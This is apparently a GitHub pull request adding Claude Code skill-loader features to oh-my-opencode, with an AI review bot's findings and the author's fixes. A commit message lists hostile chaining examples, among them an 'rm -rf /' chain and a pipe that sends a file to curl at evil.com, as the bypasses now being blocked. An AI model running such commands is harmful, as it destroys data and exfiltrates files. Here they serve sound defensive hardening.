feat(skill-loader): Claude Code skill loader parity #958
+1,284
−24
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Contributor
|
All contributors have signed the CLA. Thank you! ✅ |
Author
|
I have read the CLA Document and I hereby sign the CLA |
Add {{OPENCODE_SESSION_ID}} placeholder substitution for skills that need
to create subagent sessions via the session API. The substitution
replaces placeholder with actual sessionId from HookInput, enabling
context fork capabilities per Claude Code parity.
Add $(shell:command) syntax processing for skills. Commands execute in a security sandbox with timeout, output limits, cwd restriction to skill directory, and shell escaping. Integrated into loader.ts to process skill bodies before template generation.
Add discovery of non-.md files in skill directories with metadata (path, size, extension). Applies safety limits (20 files max, 1MB per file, 10MB total). Adds <supporting-files> section to skill template for model awareness of available resources.
Add context:fork support for skills that need to run in isolated sessions. When a skill has context: 'fork' in frontmatter, it spawns a new session via client.session.create, sends the skill body, and waits for completion using stability detection. Includes nested fork prevention via atomic Set-based tracking.
…tering Add forCommandListing option to discoverSkills() to filter out skills with user-invocable: false. Add skill-invocation-filter hook that blocks model invocation of skills with disable-model-invocation: true unless initiated via slash command. Session tracking via markSessionAsSlashCommand with 5s auto-cleanup.
Previously, builtin commands (start-work, ralph-loop, etc.) were only registered with OpenCode's command system but not discoverable via the slashcommand tool. This meant /start-work would not appear in listings and could not be invoked. - Add getBuiltinCommandsAsInfoArray() to convert builtin commands to CommandInfo - Update discoverCommandsSync() to include builtin commands - Pass disabled_commands config to filter disabled builtins
codewithkenzo
force-pushed
the
feat/skill-loader-parity
branch
from
2ff4ebc to
bcd899e
Compare
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
5 issues found across 40 files
Confidence score: 2/5
- High risk due to a bypassable allowlist in
src/features/opencode-skill-loader/shell-preprocessing.ts: executing the full command viash -cenables chaining disallowed commands, which is a concrete security/behavioral exposure. - Multiple loaders (
src/features/opencode-skill-loader/async-loader.tsandsrc/features/opencode-skill-loader/loader.ts) merge markdown across skill directories, risking cross-skill instruction leakage and incorrect templates. - Pay close attention to
src/features/opencode-skill-loader/shell-preprocessing.ts,src/features/opencode-skill-loader/async-loader.ts,src/features/opencode-skill-loader/loader.ts- command validation and cross-skill content contamination.
Prompt for AI agents (all issues)
Check if these issues are valid — if so, understand the root cause of each and fix them.
<file name="src/features/opencode-skill-loader/shell-preprocessing.ts">
<violation number="1" location="src/features/opencode-skill-loader/shell-preprocessing.ts:28">
P1: Allowlist validation is bypassable because the full command string is executed via `sh -c` even though only the first token is validated. This allows chaining disallowed commands with `;`, `&&`, or subshells while still passing the allowlist.</violation>
<violation number="2" location="src/features/opencode-skill-loader/shell-preprocessing.ts:56">
P2: stderr output is unbounded (no MAX_OUTPUT_BYTES enforcement) allowing large error output despite stdout cap</violation>
<violation number="3" location="src/features/opencode-skill-loader/shell-preprocessing.ts:120">
P2: Sequential replace can target prior output instead of the pending placeholder when command output contains the placeholder text, leaving placeholders unreplaced/corrupted.</violation>
</file>
<file name="src/features/opencode-skill-loader/loader.ts">
<violation number="1" location="src/features/opencode-skill-loader/loader.ts:75">
P2: File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage</violation>
</file>
<file name="src/features/opencode-skill-loader/async-loader.ts">
<violation number="1" location="src/features/opencode-skill-loader/async-loader.ts:89">
P1: Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.</violation>
</file>
Reply with feedback, questions, or to request a fix. Tag @cubic-dev-ai to re-run a review.
Comment on lines
+89
to
+92
| const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '') | ||
| const mergedContent = subdirFiles.length > 0 | ||
| ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' + | ||
| subdirFiles.map(f => f.content).join('\n\n') |
There was a problem hiding this comment.
P1: Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/features/opencode-skill-loader/async-loader.ts, line 89:
<comment>Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.</comment>
<file context>
@@ -85,6 +86,12 @@ export async function loadSkillFromPathAsync(
const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath)
const mcpConfig = mcpJsonMcp || frontmatterMcp
+ const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
+ const mergedContent = subdirFiles.length > 0
+ ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
</file context>
Suggested change
| const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '') | |
| const mergedContent = subdirFiles.length > 0 | |
| ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' + | |
| subdirFiles.map(f => f.content).join('\n\n') | |
| const shouldMergeSubdirMd = basename(skillPath) === "SKILL.md" || basename(skillPath) === `${basename(resolvedPath)}.md` | |
| const subdirFiles = shouldMergeSubdirMd ? await collectMdFilesRecursive(resolvedPath, 0, 3, '') : [] | |
| const mergedContent = subdirFiles.length > 0 | |
| ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' + | |
| subdirFiles.map(f => f.content).join('\n\n') | |
| : '' |
| const mcpJsonMcp = await loadMcpJsonFromDir(resolvedPath) | ||
| const mcpConfig = mcpJsonMcp || frontmatterMcp | ||
|
|
||
| const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '') |
There was a problem hiding this comment.
P2: File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/features/opencode-skill-loader/loader.ts, line 75:
<comment>File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage</comment>
<file context>
@@ -64,10 +67,24 @@ async function loadSkillFromPath(
const mcpJsonMcp = await loadMcpJsonFromDir(resolvedPath)
const mcpConfig = mcpJsonMcp || frontmatterMcp
+ const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
+ const mergedContent = subdirFiles.length > 0
+ ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
</file context>
…vercel compatibility Add support for both ~/.config/opencode/skill/ (singular, oh-my-opencode convention) and ~/.config/opencode/skills/ (plural, vercel-labs/add-skill convention). This enables seamless interoperability with vercel-labs/add-skill which uses the plural 'skills' directory convention. Ref: vercel-labs/add-skill#54
- Block shell metacharacters (;|&$`\\) to prevent command chaining bypass - Cap stderr output to MAX_OUTPUT_BYTES (1MB) like stdout - Use index-based replacement to prevent placeholder corruption Security: Prevents attackers from bypassing allowlist via: - Command chaining: 'echo hello; rm -rf /' - Pipes: 'cat file | curl evil.com' - Subshells: 'echo $(whoami)' or 'echo \`whoami\`'
Author
|
@cubic-dev-ai Thanks for the review! I addressed the valid issues: Fixed (commit f4540e2)P1: Allowlist validation bypass ✅Added shell metacharacter blocking ( P2: stderr unbounded ✅Added MAX_OUTPUT_BYTES cap to stderr (same as stdout). P2: Sequential replace corruption ✅Rewrote to use index-based replacement instead of sequential string replace. False Positives (no changes needed)P2: Cross-skill instruction leakage (loader.ts:75)P1: Subdirectory contamination (async-loader.ts:89)These are false positives. The
It merges markdown from the skill's own subdirectories (e.g., Please re-run the review to verify the fixes. |
@codewithkenzo I have started the AI code review. It will take a few minutes to complete. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary
Implements full Claude Code skill loader parity for oh-my-opencode, enabling seamless skill portability between Claude Code and oh-my-opencode.
Changes
collectMdFilesRecursiveto shared utils for code reuseSkillMetadatawith Claude Code frontmatter fields (disable-model-invocation,user-invocable,context,hooks){{OPENCODE_SESSION_ID}}substitution at invocation time$(shell:cmd)) with security sandbox (5s timeout, allowlist, 1MB output limit)<supporting-files>section in skill templatecontext: forkvia session API for isolated skill executionuser-invocable: falsefiltering anddisable-model-invocationhook blockingNew Features
Session ID Substitution
Skills can now use
{{OPENCODE_SESSION_ID}}which is replaced with the current session ID at invocation time.Shell Preprocessing
Skills can include dynamic content via shell commands:
Security: 5s timeout, allowlist (echo, cat, ls, git, etc.), 1MB output limit.
Supporting Files
Non-.md files in skill directories are automatically discovered and listed in the skill template for AI reference.
Context Fork
Skills with
context: forkexecute in an isolated session via the session API, preventing state pollution.Invocation Filtering
user-invocable: false: Skill hidden from slash command listingdisable-model-invocation: true: Skill blocked when invoked by model (only via slash command)Commits (7)
refactor(skill-loader): extract collectMdFilesRecursive to shared utilsfeat(skill-loader): add Claude Code frontmatter fields to SkillMetadatafeat(skill-loader): implement session ID substitutionfeat(skill-loader): implement shell preprocessing with security sandboxfeat(skill-loader): implement supporting files discoveryfeat(skill-loader): implement context fork via session APIfeat(skill-loader): implement user-invocable and model-invocation filteringTest Coverage
Files Changed
New Files (10)
src/features/opencode-skill-loader/utils.tssrc/features/opencode-skill-loader/substitution.tssrc/features/opencode-skill-loader/substitution.test.tssrc/features/opencode-skill-loader/shell-preprocessing.tssrc/features/opencode-skill-loader/shell-preprocessing.test.tssrc/features/opencode-skill-loader/supporting-files.tssrc/features/opencode-skill-loader/supporting-files.test.tssrc/features/opencode-skill-loader/context-fork.test.tssrc/features/opencode-skill-loader/filtering.test.tssrc/hooks/skill-invocation-filter/index.tsModified Files (8)
src/features/opencode-skill-loader/types.tssrc/features/opencode-skill-loader/loader.tssrc/features/claude-code-session-state/state.tssrc/tools/skill/types.tssrc/tools/skill/tools.tssrc/hooks/auto-slash-command/index.tssrc/hooks/auto-slash-command/executor.tssrc/index.tsBreaking Changes
None. All existing skills continue to work unchanged. New features are opt-in via frontmatter fields.
Summary by cubic
Brings the skill loader to Claude Code parity so skills move between platforms without changes. Adds multi-file merging, shell preprocessing, session forking, and stricter invocation rules with no breaking changes.
commandallowlist (echo, cat, ls, git…), 5s timeout, 1MB output cap, 10 commands max, runs in the skill directory.Written for commit f4540e2. Summary will update on new commits.